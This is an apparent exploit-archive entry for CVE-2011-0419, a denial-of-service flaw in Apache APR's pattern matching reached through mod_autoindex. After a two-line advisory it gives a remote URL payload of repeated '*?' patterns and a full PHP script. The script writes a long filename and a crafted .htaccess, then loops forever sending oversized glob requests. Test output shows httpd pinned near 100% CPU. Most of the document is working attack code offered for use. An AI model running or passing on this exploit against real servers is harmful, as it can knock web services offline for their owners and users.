75 lines
No EOL
2.2 KiB
PHP
75 lines
No EOL
2.2 KiB
PHP
source: https://www.securityfocus.com/bid/47820/info
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Apache APR is prone to a vulnerability that may allow attackers to cause a denial-of-service condition.
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Apache APR versions prior to 1.4.4 are vulnerable.
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<?php
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/*
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Apache 2.2.17 mod_autoindex local/remote Denial of Service
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author: Maksymilian Arciemowicz
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CVE: CVE-2011-0419
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CWE: CWE-399
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REMOTE
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Find some directory with supported mod_autoindex on the server. The directory should contain long filenames.
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http://[server]/[directory_with_mod_autoindex]/?P=*?*?*?[to 4k]
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LOCAL
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Tested on:
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127# httpd -v && uname -a
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Server version: Apache/2.2.17 (Unix)
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Server built: Dec 28 2010 13:21:44
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NetBSD localhost 5.1 NetBSD 5.1 (GENERIC) #0: Sun Nov 7 14:39:56 UTC 2010 builds@b6.netbsd.org:/home/builds/ab/netbsd-5-1-RELEASE/i386/201011061943Z-obj/home/builds/ab/netbsd-5-1-RELEASE/src/sys/arch/i386/compile/GENERIC i386
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Result:
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127# ls -la
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total 8
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drwxrwxrwx 2 root wheel 512 Feb 8 21:41 .
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drwxr-xr-x 7 www wheel 1024 Jan 31 08:49 ..
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-rw-r--r-- 1 www wheel 1056 Feb 8 19:39 .htaccess
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-rw-r--r-- 1 www wheel 0 Feb 8 19:39 cx.............................................................................................................................
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-rw-r--r-- 1 www wheel 1240 Feb 8 19:42 run.php
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127# ps -aux -p 617
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USER PID %CPU %MEM VSZ RSS TTY STAT STARTED TIME COMMAND
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www 617 98.6 0.4 10028 4004 ? R 7:38PM 121:43.17 /usr/pkg/sbin/httpd -k start
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Time = 121:43 and counting
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where http://[$localhost]:[$localport]/[$localuri]
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*/
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$localhost="localhost";
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$localport=80;
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$localuri="/koniec/";
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if(!is_writable(".")) die("!writable");
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// Phase 1
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// Create some filename
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touch("cx".str_repeat(".",125));
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// Phase 2
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// Create .htaccess with
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unlink("./.htaccess");
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$htaccess=fopen("./.htaccess", "a");
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fwrite($htaccess,"AddDescription \"CVE-2011-0419\" ".str_repeat('*.',512)."\n");
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fclose($htaccess);
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// Phase 3
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// Local connect (bypass firewall restriction)
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while(1){
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$fp = fsockopen($localhost, $localport, $errno, $errstr, 30);
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if (!$fp) echo "$errstr ($errno)<br />\n";
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else {
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$out = "GET ".$localuri."/?P=".str_repeat("*?",1500)."* HTTP/1.1\r\n";
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$out .= "Host: ".$localhost."\r\n";
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$out .= "Connection: Close\r\n\r\n";
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fwrite($fp, $out);
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fclose($fp);
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}
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}
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?>
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